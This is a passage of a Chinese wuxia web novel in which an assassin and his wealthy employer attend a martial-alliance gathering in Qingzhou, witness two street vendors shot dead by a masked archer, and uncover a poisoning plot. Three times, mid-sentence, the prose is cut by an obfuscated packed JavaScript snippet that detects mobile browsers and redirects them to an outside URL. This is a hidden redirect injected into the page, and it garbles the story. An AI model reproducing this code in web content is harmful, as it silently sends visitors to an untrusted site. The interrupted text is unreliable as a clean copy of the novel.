崔清止的眉眼一动,眼神都变得生动了起来,“久仰大名,没想到大名鼎鼎的天下第一刺客竟然如此...”崔清止斟酌了一下,继续道:“如此年轻。” 崔清止往方隐攸的方向偏了偏,压着嗓子问,“方兄,难道就不想参加盟主争夺赛?” “我为什么要参加?” “那个韩桓临必然不是方兄的对手,你若是赢了他,整个武林都会听你差遣,难道方兄不想?” 方隐攸撑住下巴,盯着他的眉眼淡淡道:“我为什么要差遣整个武林?我只是一个刺客。” 崔清止闻言一愣,退回自己的位置上,“也对,方兄有功夫在身,整个武林于你也无甚用处。” 柳傅文见状凑到崔清止的面前,问道,“来参加这个盟主争夺赛的都是江湖上数一数二的高手吧?” “自然。”崔清止点点头,“大多都是各个门派的掌门。” “那比武的时候,要是一个不慎杀了对方,那不就是和整个门派为敌?” “不会。”崔清止淡淡一笑,“参加争夺赛的人都是签了生死状的,死了便是死了,绝对不可找对方寻仇。若是怕,不参与便是了。” 柳傅文不理解的皱起眉,“他们都已经是一派之主了,为什么还要堵上性命去争夺那个盟主的位置?” “为了权势、威望、财富。”崔清止眼神沉沉的看着柳傅文,“在江湖中,武林盟主代表着万人之上,所有武林中人都以他唯尊,是所有江湖人梦寐以求的位置。” 柳傅文看向方隐攸,“你竟然不心动?” 方隐攸无语的睥睨着他,“树大招风,行事须低调。” 柳傅文眼珠一转,凑到他面前小声说道,“我们也去凑凑热闹,怎么样?” “这样便得多耽搁两天。” “十两黄金。” “好。” 崔清止看着两人窃窃私语,调侃道,“两位可是在谋划什么大事?” 柳傅文嘿嘿一笑,“我们后日与你一道去凑凑热闹。” 崔清止惊讶的看向方隐攸,“方兄改变主意了?” 方隐攸缓缓的抬手指向柳傅文,“他想去看看,我便陪他去看看。” 崔清止看向柳傅文,他脸上堆着笑,眉眼弯弯,面如傅粉、唇若涂朱,看上去人畜无害,活像个刚从蒸笼里拿出来的热气腾腾的白面馒头。 “我看二位倒不像是雇主与镖师。” 柳傅文眨眨眼,“那像什么?” 崔清止的视线在两人之间流转,但笑不语。 恰好此时,小二端着菜上了楼,柳傅文看他不想说也不再追问,“崔兄要不与我们一道吃?” 崔清止摆了摆手,“在下已经吃过了。” 柳傅文于是不再客套,开始优雅的进食。 崔清止沉默的看着两人吃完饭,然后约他们去对面勾阑院中听曲,“听说是从京城里来的歌姬,身姿妙曼、歌声婉转,琵琶一弹绕梁三日。” “京城来的?”柳傅文感到有些诧异,“京城距此可不近,她们为何奔波至此?” “还是为了这盟主争夺赛。”崔清止的视线越过窗户,看向对面挂着红灯笼的勾阑院,“江湖中人多武夫,平日里舞刀弄枪的,甚少有机会看几场歌舞取乐,如今有京城来的歌舞伎,最是乐意花钱。” 柳傅文了然的点点头,看向方隐攸,“你想去吗?” 方隐攸无所谓的挑挑眉,“你想去便去。” “我自然要去!”柳傅文站了起来,“走!” . 勾阑院一进门是一座三层阁楼,楼中摆着一张方桌,桌子前面坐着一个看不出年纪的女人,披红戴绿,十分张扬的模样,她身后站着几个壮汉,看上去都是练家子。 她抬眼扫了一眼柳傅文几人,伸手从桌在上扯出一张木牌递了过来,“瑶台舫,二十两白银。” 柳傅文将银子放到桌子上,接过木牌看了一眼,“这瑶台舫位置如何?” 女人将手搭在太师椅的扶手上,上下扫视着柳傅文说道:“公子,奴家给你的,乃是最好的位置,距离歌姬所在的水榭不过两丈远,你若是走到舫尾,保管你将歌姬的一颦一笑都看得清清楚楚。” 柳傅文满意的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810149|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点点头,将木牌递给身侧的方隐攸,然后三个人便跟着引路的杂役穿过阁楼到了院中。 院子很大,迂回的长廊穿过只剩下残荷的池子,池边有几座小轩,再往前是一个花园,夜间花丛里挂了几盏灯笼,让人可以在夜色下赏花。 随后便是一个方形的池塘,北边是一个水榭,东西方向各有两栋画舫、南边有三栋画舫,池边其余的地方是几块青石板,上面摆着几张方桌长凳。 水榭中燃着许多烛火,还摆着几盆开得正艳丽的寿星花,立柱上点缀着流光溢彩的琉璃,飞檐下挂着几盏风铃,轻轻摇曳时发出悦耳声响。 眼下方桌长凳上已经挤满了人,画舫中却依旧还有两栋是空着的,方隐攸手中的木牌上所写的瑶台舫便是水榭对面的那一栋画舫。 画舫里面挂着许多灯笼,一进去便亮如白昼,舫中摆着一张方桌,上面摆着茶酒和吃食,再往前一点的舫尾上放着几张软椅,面朝水榭,应该是让客人坐在方面听曲的。 等到三人坐在软椅,几个妙龄女子走了进来,蹲在他们脚边,仰着头温声细语的问,是否需要她们伺候。 烛火下的女子们眉目含情,娇柔羞怯,身上散发着一股迤逦的香味,令人迷醉。 方隐攸眼神质问的看向柳傅文。 柳傅文被他看得莫名其妙,“又不是我安排的,你看我做什么?”说罢,他朝着几个女子摆了摆手,“不用不用,我们就是来听听小曲的。” 女子们闻言站了起来,“公子们且稍等,绾绾姐就快来了。” 过不了多久,水榭中腾起一阵薄烟,一个身形妙曼的女人扭着腰身缓缓走进水榭,她脸上挂着一片薄纱,挡住大半张脸,露在外面的眉眼在烛火中显得有些朦胧。 她缓步走到水榭前方的檐下,朝着周围的人微微欠了欠身子,声音清脆婉转的说道,“绾绾谢过在座各位豪侠的盛情。” 语罢,周围拥挤的人群里发出如潮水般的哄笑声,言语中有调侃、调笑、以及几声称赞。 “小娘们,你快些唱,我倒要看看京城来的妞嗓子是不是比咱们青州的姑娘的媚!” 一声大吼在他们旁边的青石板上传来,柳傅文闻声忘了过去,只是那一片只挂了一个灯笼,昏暗光线下,只能看到几个模糊的人影。 “看什么?你难道还想在此处见到几个端方君子?”方隐攸悠悠然道。 柳傅文横他一眼,继续看向水榭中的女人。 方隐攸的视线越过他落在崔清止的身上,他自从看到水榭中的女人以后,整个人都变得十分不对劲。 这时候女人已经准备妥当,拨动了手中的琵琶,随后吟唱起长歌。 琵琶声如她的声音一般清脆婉转,又多了一丝隐隐约约的柔,方隐攸对此并不太懂,只觉得听起来感觉十分舒适。 他看向柳傅文,发觉他脸上并没有十分痴醉的表情,想来这琵琶弹得并不合他的心意。 “不喜欢?”方隐攸问道。 柳傅文皱了皱眉,“她心里有事,每一次拨弦都是下意识的动作,没有半点感情,词唱的也不投入。” “你懂得倒是很多。” 柳傅文轻哼一声,“本公子喜好颇多,音律便是其中之一。”他转头看向崔清止,“崔兄觉得如何?” 崔清止闻言一愣,沉默一瞬后笑道:“我不比柳兄见多识广,这琴声、曲声乃是我听过最动听的。” 忽然,隔壁画舫里忽然传来一声诘问,“这便是京城来的歌姬的歌声吗?也不过如此!” 11. 射杀 这道声音让水榭中的绾绾瞬间一惊,连手中的琵琶都忘了弹,只愣愣的看向那栋画舫。 崔清止立刻就站了起来,凝望着水榭中的女人,眼神担忧又仓皇。 片刻功夫,先前在阁楼里收银子的女人迅速出现在了绾绾的身边,她朝着那个画舫俯首作揖,“韩公子,今夜乃是绾绾第一次在此地登台,难免有些紧张,您再给她一次机会,她必然让您满意。” 一个身穿锦衣的男子走到画舫尾端,朝着女人摆了摆手,“换人。” 女人一惊,转头看向身侧的绾绾,略思索了一下,便点点头领着人下去了。 “我们也走吧。” 柳傅文站了起来,“原以为可以在此处听到京城歌姬的美妙歌声,没想到也不过如此。” 方隐攸闻言撇看崔清止,发现他的脸色瞬间一沉,放在身侧的手也用力的握紧。 方隐攸伸手轻拍了一下他的肩膀,“莫见怪,他并无恶意。” 崔清止眼色复杂的看了一眼正在前舫处等待的柳傅文,“我知道。” 方隐攸走到柳傅文面前,与他并肩一道离开了画舫。 他们在勾阑院里并未待多久,出来时街上的行人还有很多,吵吵闹闹的,十分喧哗。 柳傅文回头忘了一眼勾阑院的大门,里面不停的有人离开有人进去。 “崔清止为什么没有出来?” “他和绾绾是旧识。” “啊?”柳傅文惊讶的眨了眨眼,“绾绾不是从京城来的歌姬吗?他也是从京城来的?” “是不是京城来的歌姬不是勾阑院里的人说了算的吗?”方隐攸看向路边一个卖泥人的小摊,伸手拿起一个小泥人递给柳傅文,“觉得如何?” 柳傅文打量了一眼手里的泥人,粗糙,十分粗糙。 他撇了撇嘴,嘴里的话还没说出口,柳傅文就从他怀里拿出银子递给了摊主,然后推着他走开了。 柳傅文对此表示十分震惊,“方隐攸,你不是说你不偷不抢吗?” “这算偷还是抢?” “这比偷比抢还可怕!”柳傅文嫌弃的盯着手里的泥人,将他往方隐攸面前递,“就这东西,我随手从地上捡一坨泥捏几下都比它精致。” “你再仔细瞧瞧?” 柳傅文闻言哼了一声,顺从的仔细的打量了几眼泥人,忽然反应过来这泥人身上穿的衣裳和发饰与自己有几分相似。 “看出来了?”方隐攸含着笑问。 “可是...”柳傅文转了几下眼珠,“这确实有些粗糙了...本公子的脸怎么可能这么丑...” 方隐攸伸手揽住他的肩膀,让他看向刚刚那个小摊,“他手有残疾,身后还有一个幼子,你钱多,买一个也算是积德。” 柳傅文定眼一看,才发现方隐攸说的都是事实,立刻转头瞪了他一眼,“你早说啊。” “早说什么?” “本公子就是银子多!” 说罢,柳傅文昂周挺胸的返回小摊,十分阔气的拿出一锭银子递给摊主,“你这些泥人,我都买下了!” 摊主一愣,又惊又喜的望着面前的贵公子,不可置信的问道:“公子,您是说...你要买下我这所有的泥人?” “当然。”柳傅文将银子又往前递了递,“拿着,给我把泥人都装起来。” 摊主颤抖着收下银子,激动万分的点点头,小心翼翼的将所有的泥人都装在一个木盒子里递给柳傅文。 “公子,您放宽心,这些泥人耐摔耐碰,一般情况下啊,坏不了。” 柳傅文接过木盒子时,瞥见他只剩下一个手掌的左手,完好的右手上也黑黢黢的,全是洗不干净的泥渍。 柳傅文的视线往后一偏,就看到躲在摊主退后的半大小子正露着半张脸盯着自己打量。 他朝着小孩笑了笑,“看我做什么?” 摊主闻言将身后的孩子往前一推,“公子问你话呢,快回答。” 小孩的手拽住摊主的衣摆,眨了眨眼,望着柳傅文脆生生的说到:“公子买下了我爹爹所有的泥人,我们今天就可以早些回家陪娘亲和妹妹,多谢公子。” 柳傅文蹲了下来,平视着他,“那就早些回去吧。” 临走时,摊主和孩子再次向柳傅文道谢,他看着他们父子俩那两双感激的眼睛,心里五味杂陈,十分不自在的快步走到方隐攸身边,将手里的木盒子递给了他。 方隐攸接过盒子看了一眼,“没想到柳公子竟然是个大善人。” 柳傅文横他一眼,扯住他的衣袖往前走,“本公子是个天大的好人、善人、老实人。” “是吗?”方隐攸似笑非笑的盯着他,“我看未必。” 方隐攸话音刚落,身后人群里忽然传来一声惊呼,然后就是喧闹声,有人在大喊着,“杀人了——” 方隐攸和柳傅文同时回首,便看到方才那对父子双双仰躺在地上,两人眉心皆插着一根利箭。 柳傅文震惊的睁大双眼,连忙跑了过去。 两人死不瞑目,脸上僵住的表情里还能看到方才对他露出的那一抹感激。 柳傅文愤怒的环顾四周,想要找出凶手。 方隐攸伸手扶住他的头,让他看向前侧一处高楼的屋顶处,“那里。” 屋顶上站着一个手握弓箭的男人,他迎风而立,衣摆飞扬,带着面具的脸上看不清任何表情,但是那双眼睛却透露着一丝猖狂的笑意。 “杀了他!”柳傅文握住方隐攸的手腕,愤怒不已的吼道:“给我杀了他!” “周围都是他的人,我走了,这里的人都得死。” 方隐攸话音一落,柳傅文便看到周围屋顶上冒出许多弓箭手,他们的弓箭指向的并不是他们两个人,而是周围的所有人。 “他们为什么这么做?” 方隐攸看向地上的父子,“为了提醒我,他一直在。” “什么意思?”柳傅文眼神凝重的望着他,“他一直在跟着你?” “嗯。” 柳傅文瞬间愣住,他脸上的神情变幻莫测,随后沉默的从怀里拿出一锭金子走到人群里,寻了人帮他打理好这对父子的后事,然后又拿出一锭金子给他,嘱咐他将这个赠与父子两的妻女。 做完这一切,他扯住方隐攸的衣袖,一言不发的将人带到客栈里。 柳傅文将方隐攸推到屋中的方凳上坐下,他站到他面前,以一种审问的姿态捏住他的下巴抬起他的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810150|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,问道:“他是谁?” 方隐攸思索了一下,十分坦然的说道:“我不知道。” “你不知道?”柳傅文不可置信的瞪着眼,“你为什么会不知道?能召集那么多人手,还能堂而皇之的将人布置在青州闹市街头的可没几个,而且他们还杀了一对无辜的父子,你竟然说不知道!” “我确实不知道。” “那之前追杀我们的人,都是他安排的吗?” 方隐攸似笑非笑的盯着他,缓缓道:“这个得问你。” “什么意思?” “你为什么让我护你上京?难道不是为了躲避追杀吗?” 柳傅文闻言一愣,偏过头避开了方隐攸直白的视线,“是,所以应该只有一部分是他的人,还有一部分是冲着我来的。” “知道就好。”方隐攸抬了抬下巴,“放开。” 柳傅文并未依言放开,而是凑到他面前,盯着他的双眼缓缓道:“总是,今日那对父子俩是因你而死,那40两黄金需从你这里扣除。” 方隐攸无所谓的点点头,“好。” 柳傅文收回手,脸色凝重的说到:“但是像今天这种事情不可以再出现了。” “我知道。” “那你打算怎么办?” “再有下次我会杀了他。”方隐攸眼里杀气四溢,语气冷冽:“就算他以无辜者的性命威胁我,我也会杀了他。” 柳傅文沉默的看着他,久久不语,整个房间里都安静了下来。 “他为什么追杀你?”柳傅文忽然问道。 方隐攸起身走到窗户边,吹着冷风凝望夜空,过了许久后才回到:“为了秘籍。” “什么秘籍?” “没有什么秘籍。”方隐攸看向他,语气寻常的再次说到:“没有什么秘籍。” “所以,你的意思是,他为了一本你没有的秘籍追杀你?”柳傅文走到他面前,满脸怀疑的盯着他,“他难道是吃饱了撑得吗?” “可能吧。” 方隐攸反手关上窗户,“睡吧,不早了。” 柳傅文拽住欲要走开的方隐攸,“你有事瞒着我。” 方隐攸嗤笑一声,“你这话说的真有意思。” 他抬手捏住柳傅文的下巴,像他审问自己一般审问他,“你难道就没有事情瞒着我吗?” 两人眼下靠的非常近,几乎是可以感知到彼此呼吸的距离,近到柳傅文能清晰的看到方隐攸眼睑下的一颗淡淡的痣,还有脸颊上的一层细微的绒毛。 方隐攸轻蔑的勾了勾嘴角,“柳傅文,我是个刺客,做的都是杀人的勾当。” 他凑到柳傅文耳边,用低至气音的语气缓缓道:“想与我剖胆倾心之前,你得拿出点诚意来。” 柳傅文的心猛地一跳,他感受着方隐攸喷在自己耳廓上的温热呼吸,拽着他衣摆的手不自觉的松开,愣愣的不知道该如何回应。 方隐攸轻笑一声,语气狡黠又得意,他伸手拍了拍柳傅文的后腰,“别怕,你现在是我的雇主。” 说完,他站了起来,笑看着柳傅文的眉眼,神情十分温柔,“睡吗?” 柳傅文沉默的点点头,一言不发的爬上了床,盖好被子,到头就睡。 12. 下毒 第二天青州城里的人明显的多了起来,方隐攸和柳傅文去酒楼中吃饭时都差点没赶上最后一个空桌。 柳傅文看向坐在自己对面的方隐攸,“大半个江湖的人都在这里了吧?” “大概吧。”方隐攸看着酒楼外面的街道,上面的人摩肩接踵,不时还有披甲持械的官兵穿过。 柳傅文也看到了官兵,纳闷的问道:“他们这是在做什么?” “巡逻。”方隐攸给自己倒了一杯凉茶,润了润嗓子,“江湖中人生性不羁,没人看着容易生出事端。” 说着,与他们隔着一段位置的两桌子忽然吵了起来,抬脚就踹翻了饭桌,热气腾腾的饭菜撒了满地。 掌柜的和店小二连忙围了上去,一个扯着一个的求着各位大侠莫要动怒,若是实在要打,还请出去打。 “看到了吗?”方隐攸朝着闹事的人抬抬下巴,“遇事先打一架,谁赢谁对。” 一群官兵很快冲了进来,几下制服了闹事的人,然后在离开前还朝着酒楼中的众人举了举手里的兵器,“打架闹事者,羁押五日!” “他们既然是江湖中人,为何还会怕官兵?” “江湖中人也是民,是民就怕官。武功再高,能抵挡得了数以千计的官兵?”方隐攸抬眼瞥他一眼,“江湖,也在皇土之上。” 柳傅文闻言嘿嘿一笑,眨眨眼凑近方隐攸,“那你怕官府吗?” “怕。”方隐攸看到柳傅文眼底升起的得意,悠悠然继续道:“蚂蚁虽能随手捏死,但是多了,也麻烦。” “所以你只是怕麻烦?” “不然呢?”方隐攸侧过脸,用眼角余光扫了他一眼,“难道是怕死?” 柳傅文讪讪的坐了过去,转而盯着桌面发呆。 就在这时,崔清止与几个年轻的男女并肩走进了酒楼,他在柜台前询问了一番,又环顾了一圈坐满了人的大堂,最后注意到了方隐攸和柳傅文。 他笑着和身边的人说了几句话,然后一个人朝着两人走来。 方隐攸敲了敲柳傅文面前的桌子,“崔清止来了。” 柳傅文抬起头看向正朝着他们走来的崔清止,“还真的有缘分,竟然又遇上了。” “方兄,柳兄!”崔清止朝着两人微微颔首致意。 柳傅文微微一笑,“好巧。” “青州城虽然不大,但是城中酒楼可不少,没想到我们竟然又进了同一家酒楼。”崔清止说着,看向还站在柜台前的友人,继续道:“只是这酒楼的生意太好了,连个空桌都没了,不知道能否和二位同座?” 崔清止一行四个人,六个人做个八仙桌挤一挤倒是也能坐下,于是柳傅文点了点头,“当然可以。” 崔清止闻言躬身道谢,然后转身去邀请同伴前来。 方隐攸趁机走到柳傅文身边坐下,将剩下的三个方位让了出去。 柳傅文往他那边偏了偏,侧着脸看着崔清止一行人,问道,“他这些朋友,武功怎么样?” “很是寻常。” 柳傅文了然的点点头,然后笑看着四个人走到面前,伸手指了指空着的位置,“坐吧。” 几个人都朝着两人笑了笑,然后落了座。 崔清止和一个穿着锦衣的男子坐在了两人对面,另外两个穿着打扮十分精致的女人分别坐在另外两侧。 “方兄,柳兄,这位是我昨日夜里结交的韩钰韩公子,这两位是他的妹妹,韩音、韩灵。” 崔清止说完又指着方隐攸和柳傅文对另外三人说到:“这位是柳傅文、这是他的镖师方隐攸。” 韩钰一听到方隐攸三个字,原本挂着浅笑的脸色立刻绷紧,他打量着方隐攸,问道:“方隐攸?可是我知道的那个方隐攸?” 方隐攸手撑着下巴,眼神轻飘飘的落在韩钰身上,“我怎么知道你说的是哪个方隐攸?” 韩钰呵呵一笑,“自然是那个无人不知无人不晓的刺客,方隐攸。” “这样啊—”方隐攸眨了眨眼,“那你猜我是不是那位方隐攸呢?” 韩钰的眉头皱了起来,有些恼怒方隐攸的态度,刚想说话,坐在他右手边的韩音开了口,“公子是不是那位方隐攸有什么关系呢?今日我们兄妹既能与公子同桌同食,便是有缘,都是江湖中人,何须计较那么多。” 方隐攸看向韩音,她容貌生的姣好,脸上挂着清浅的笑意,看上去十分温柔。 “韩音姑娘说的极是,我是与不是,并不重要。” “姐姐这话说得,若真是那位,这饭我可不敢吃。”韩灵忽然说道。 “为何?”柳傅文盯着她,眼神莫测。 韩灵轻飘飘的哼了一声,“江湖上谁人不知,那人冷漠无情,只要给钱,谁都杀,就算是路上老者、襁褓婴儿,也绝无例外。” 方隐攸闻言笑出了声,他看着韩灵,十分诚恳的问道,“这是哪里传出来的消息?” “问这个做什么?” “我竟不知,江湖传言如今已经传的这么离谱了。”方隐攸手指捏住面前的茶杯,在手里把玩着,笑道:“要我说,无论我是不是那个方隐攸,你们都该离去。” 韩灵的表情变得不忿,质问道:“为什么?” “因为本公子不愿再与你们同桌!”柳傅文盯着韩灵呵呵一笑,“他是我的镖师,无论是不是你们口中所说的那个刺客,也轮不到你们来选择同不同桌。” 说罢,柳傅文抬手将面前的茶杯往桌子中间一推,冷漠的看向韩钰,“韩公子,请走吧。” 崔清止见状有些尴尬的咳了一嗓子,“误会误会,都是误会...” 柳傅文看向他,“不用多说了。”他抬手指向一张刚刚空出来的桌子,“那里有位置,你们走吧。” 韩钰冷眼看着两人,“你们可知道我是谁?” 柳傅文抬起一根手指在几人面前摇了摇,十分猖狂的说到:“不重要。” 韩钰愤而起身,“你们给我等着。” 说罢,头也不回的出了酒楼。 崔清止看看他的背影,又看看端坐着的两个人,最后无奈的叹了口气追了出去。 等到几人走的看不见踪迹,柳傅文得意洋洋的转头看向方隐攸,“怎么样,本公子刚刚表现的够好吧?” 方隐攸似笑非笑的打量他一眼,“很不错,够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810151|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纨绔。” “不过,你突然踢我的腿,幸好我反应够快,不然真的没法理解你的意思。”柳傅文用手挡住嘴,凑到他耳边低声问,“你为什么让我赶走他们?” 方隐攸按住他的肩膀,将人推开了点,“崔清止要对他们动手,我不想惹上麻烦。” “啊?” 柳傅文惊讶的瞪大双眼,“崔清止?他...为什么...” “昨天出言打断那个歌姬的就是韩钰。”方隐攸看向他,问道:“你难道没有听出来?” 柳傅文无辜的摇摇头,“没有。” 方隐攸轻哼一声,看着正端着菜往这边走来的小二,快速的说道:“韩钰和那两个女子身上有一股诡异的香味,是一种毒药,最迟今晚亥时便会毒发,下毒的人应该就是崔清止。” 柳傅文更加震惊,愣愣的盯着方隐攸,直到小二上完了菜他都还没有回过神来。 方隐攸替他盛好饭,又将筷子放到他的手里后,轻轻拍了拍他的肩膀,“回神,吃饭。” 柳傅文握紧手里的筷子,沉默的吃起了饭,中途多次转头看向方隐攸,不解的眨了眨眼。 等到他吃完了饭,放下碗筷以后,迅速问出了脑子里面的疑问,“难道就因为韩钰昨天晚上对那个歌姬出言不逊,所以他就要杀了他们兄妹?” 说完,他惊呼一声,“我昨天晚上是不是也说了那个歌姬歌声、曲声都不够好?” 方隐攸摇摇头,又点点头。 “他杀他们应该不单单是因为昨天的事,具体是为什么,明天我们去盟主争夺赛便可知晓。”方隐手淡淡一笑,伸手按住柳傅文的额间,“你昨夜里确实对歌姬出言不逊,但是他不会对你动手。” “为什么?” “因为我是你的镖师。”方隐攸的语气变得冷酷,“他不敢动我的镖。” 柳傅文撇撇嘴,“你说的话是没错,但是我怎么听着感觉有些怪呢?” 方隐攸给柳傅文到了一杯热茶,“趁热喝。” 柳傅文接过茶杯,浅浅抿了一口,有些遗憾的叹了口气,“崔清止和他们究竟有多大的仇,要杀了他们兄妹三人。” 方隐攸面无表情的看着他,“你想说什么?” “不能救吗?”柳傅文沉思片刻,说道:“感觉催清止这样太残忍了。” “江湖中的恩怨本来就是这样,你杀我,我杀你,无关的人看来,谁都是无辜的,谁都不该死,因为他们没有经历他们之苦,不清楚他们心中的恨意究竟因何生。” 方隐攸的手指按住温热的茶壶,将它往前一推,然后又拉回来,再推出去,往复几次后,淡淡道:“想要在江湖中主持公道,没你想象的那么容易。” 柳傅文看向方隐攸的侧脸,踌躇许久后,试探性的问道,“那如果做了武林盟主呢?是不是就可以主持公道了?” “不见得。”他手撑着下巴,与柳傅文四目相对,“你看当今皇上,能主持得了世间所有公道吗?” “也是。” 柳傅文将杯中的茶一饮而尽,站起身来叹了一口气,“罢了罢了,我们也就是个过路人,管不了那么多。” 13. 盟主争夺赛 在日落时分,崔清止找到了方隐攸他们住的客栈门口,孤零零一个人站在河畔的一颗垂柳下,身姿挺拔,气质出尘,若是读书人来了好歹要吟诗一首。 但是方隐攸是个武夫,说不来那么风花雪月的诗句,只觉得这么看着,他有些可怜。 “找我做什么?” 崔清止闻声转了过来,朝着方隐攸举手作揖,“多谢方兄在酒楼中未曾戳穿在下。” 方隐攸往后退一步,双手环胸睇着他,“他们自己武艺不精未能察觉,你谢我做什么?” 崔清止望着他,眼中含着感激,“该谢。” 说罢,他上前一步,方隐攸随之又退后一步,于是他无奈的轻笑一声,止步站在方隐攸面前,“方兄还是看不上我了。” “江湖中人,有百般武艺、千万种手段,唯用毒最为歹毒。” “可是,他们人多,我只有一人,若不用毒,当毫无胜算。” “功夫不深,那就苦练。” 崔清止怅然的苦笑一声,“方兄,并不是所有人都像你这样,手里有能练成神功的秘籍。” “我没有秘籍。”方隐攸盯着他,十分坦荡的再次说道:“我没有秘籍。” 崔清止却不信,若没有秘籍,他如何成得了天下第一刺客。 “无论如何,还是要多谢方兄。”崔清止指了指不远处的酒肆,“听闻方兄爱酒,不如我就送美酒一坛聊表谢意?” 方隐攸顺着他手指的方向看了一眼,有些嫌弃的摇摇头,“不必,都是些兑了水的脏货,还不如不喝。” “听闻城北有一处酒肆,里面卖的都是上等女儿红,方兄要不要去尝尝?” 方隐攸回首看向客栈二楼,果不其然和屋里的柳傅文透过窗户四目相对,“我去问问他要不要喝酒。” 说完,他往前走几步,朝着柳傅文喊道:“想喝酒吗?” 柳傅文倚在窗框上,望了一眼崔清止,“喝。” 方隐攸点点头,直接脚点地爬墙翻进了屋子,然后提着柳傅文的衣领将人带到了柳树下。 柳傅文拍拍长袍,十分无语的望着方隐攸,“本公子就算是走正门出来,又会耗费你多少功夫?” 方隐攸无视他的话,朝崔清止抬了抬下巴,“走吧。” 城北酒肆的酒确实不错,方隐攸贪杯多喝了几杯,出来的时候脸红耳赤,身上都是一股浓郁的酒香。 崔清止并未怎么喝,看上去依旧风度翩翩,没有失掉半点德行。 方隐攸撑在柳傅文的肩头,侧过脸看了他一眼,淡淡道:“去吧,到时候了。” 崔清止眼神复杂的看了他一眼,沉默的转身就走。 街上几家还未关门的店铺门口都挂着灯笼,一小团光落在地上,只有余光照在他的背影上,看上去十分寂寥。 “什么时候?”柳傅文问道。 方隐攸吐出一口浊气,“韩家兄妹,毒发的时辰。” 柳傅文撑住他的胳膊,转头望着他红彤彤的脸,“我一直忘了问你,你知道韩钰是什么来头吗?在酒楼里他看上去十分高傲。” “南山派掌门韩桓临的长子。” “就是现任武林盟主韩桓临?” “嗯。” “那崔清止还敢对他们动手?”柳傅文啧啧嘴,“看来他们之间的恩怨不浅。” 方隐攸沉默着伸了个懒腰,往客栈的方向走去,柳傅文紧随其后,手里还提着半坛酒。 . 在武林盟主争夺赛开始的那天,整个青州城可以说水泄不通,柳傅文从窗户边伸头出去一看,只看到一大片黑漆漆的头顶。 他转头看向坐在桌子上喝茶的方隐攸,“这么多人,应该不是所有人都能进南山派看比赛吧?” “他们都进不去。” “啊?”柳傅文十分诧异的看着他,“你们那天不是说可以凑热闹吗?” 方隐攸起身走到他身边,越过窗户遥望远处的一座山,南山派就在半山腰上,在高台上可以眺望整座青州城。 “那座山只有一条路能上去,上面有十个高手坐镇,除了盟主本人邀请的江湖豪侠,其他人只有打败他们才能上山参加争夺赛。”说着,方隐攸扫了一下眼楼下的人,“他们,没有一个能以一敌十。” 柳傅文的手撑在窗户上,半个身子都送到了外面,他看着地下的人群,十分郁闷的说道:“那我们怎么去看热闹?” “还有一个上山的办法,在山底下的功德箱里捐一百两白银。” 方隐攸看向他,“我打进去,你花钱进去。” 柳傅文表示南山派掌门此人行事十分灵活,知道有钱人不一定武艺高,特意给他们开了后门,实在是令人称赞。 所以他这一百两银子花的毫无怨言,在他被南山派的人恭恭敬敬请上山以后还对厮杀而来的方隐攸表示,“你就是太贪财,明明有黄金几百两,给他们一百两白银又有什么关系?” 方隐攸撇他一眼,眼神十分冷漠,“我需要多杀一人的关系。” 柳傅文沉默着看天,由着方隐攸提着他的衣领将他带到比武擂台前。 擂台前是一片空地,如今已经站了许多人,有些是和柳傅文一样,身穿宽袖锦衣、身上毫无杀气的富贵人士,也有些是和方隐攸一样手持兵器的江湖中人。 擂台后有一个凉亭,亭中摆着一张软椅,一个强壮威武的中年男人端坐在上面闭目养神,他蓄着长须,黑脸,鼻梁到右侧脸颊上有一道刀疤,穿着一身绣金丝云纹的窄袖黑长袍,右手中扶着一把偃月刀,刀柄上还涂着红漆。 “他就是韩桓临吗?” 方隐攸点点头,“是他。” 柳傅文的视线往右边望了望,那里是一个临时搭建的长廊,廊下摆着几张椅子,上面坐着一些一看上去就不好惹的江湖人。 “他们都是来争夺武林盟主的?” 方隐攸顺着他的视线看了过去,将那些人扫视了一遍后点点头,“是。” “怎么只有这么几个?不是说江湖中人都想做盟主吗?” “那也要看有没有胆子和韩桓临比武。”方隐攸看向韩桓临,“五年前,他夺这个盟主之位时,直接杀了上一任盟主,如今,一般人都不是他的对手。” “这么厉害!”柳傅文用手挡住嘴,凑到他耳边悄悄问:“你和他比呢?” “没试过。” 柳傅文噢了一声,继续环顾四周,忽然他在人群里看到了崔清河,他正面无表情的盯着长亭中的韩桓柏,眼神莫测。 “崔清止在我们后面。” “他不来才稀奇。”方隐攸连头都没有转过去,而是在仔细打量着坐在软椅上一动不动的韩桓临。 按理来说,他的三个孩子昨夜应该已经毒发身亡,他看上去竟然没有半点异常,着实能忍。 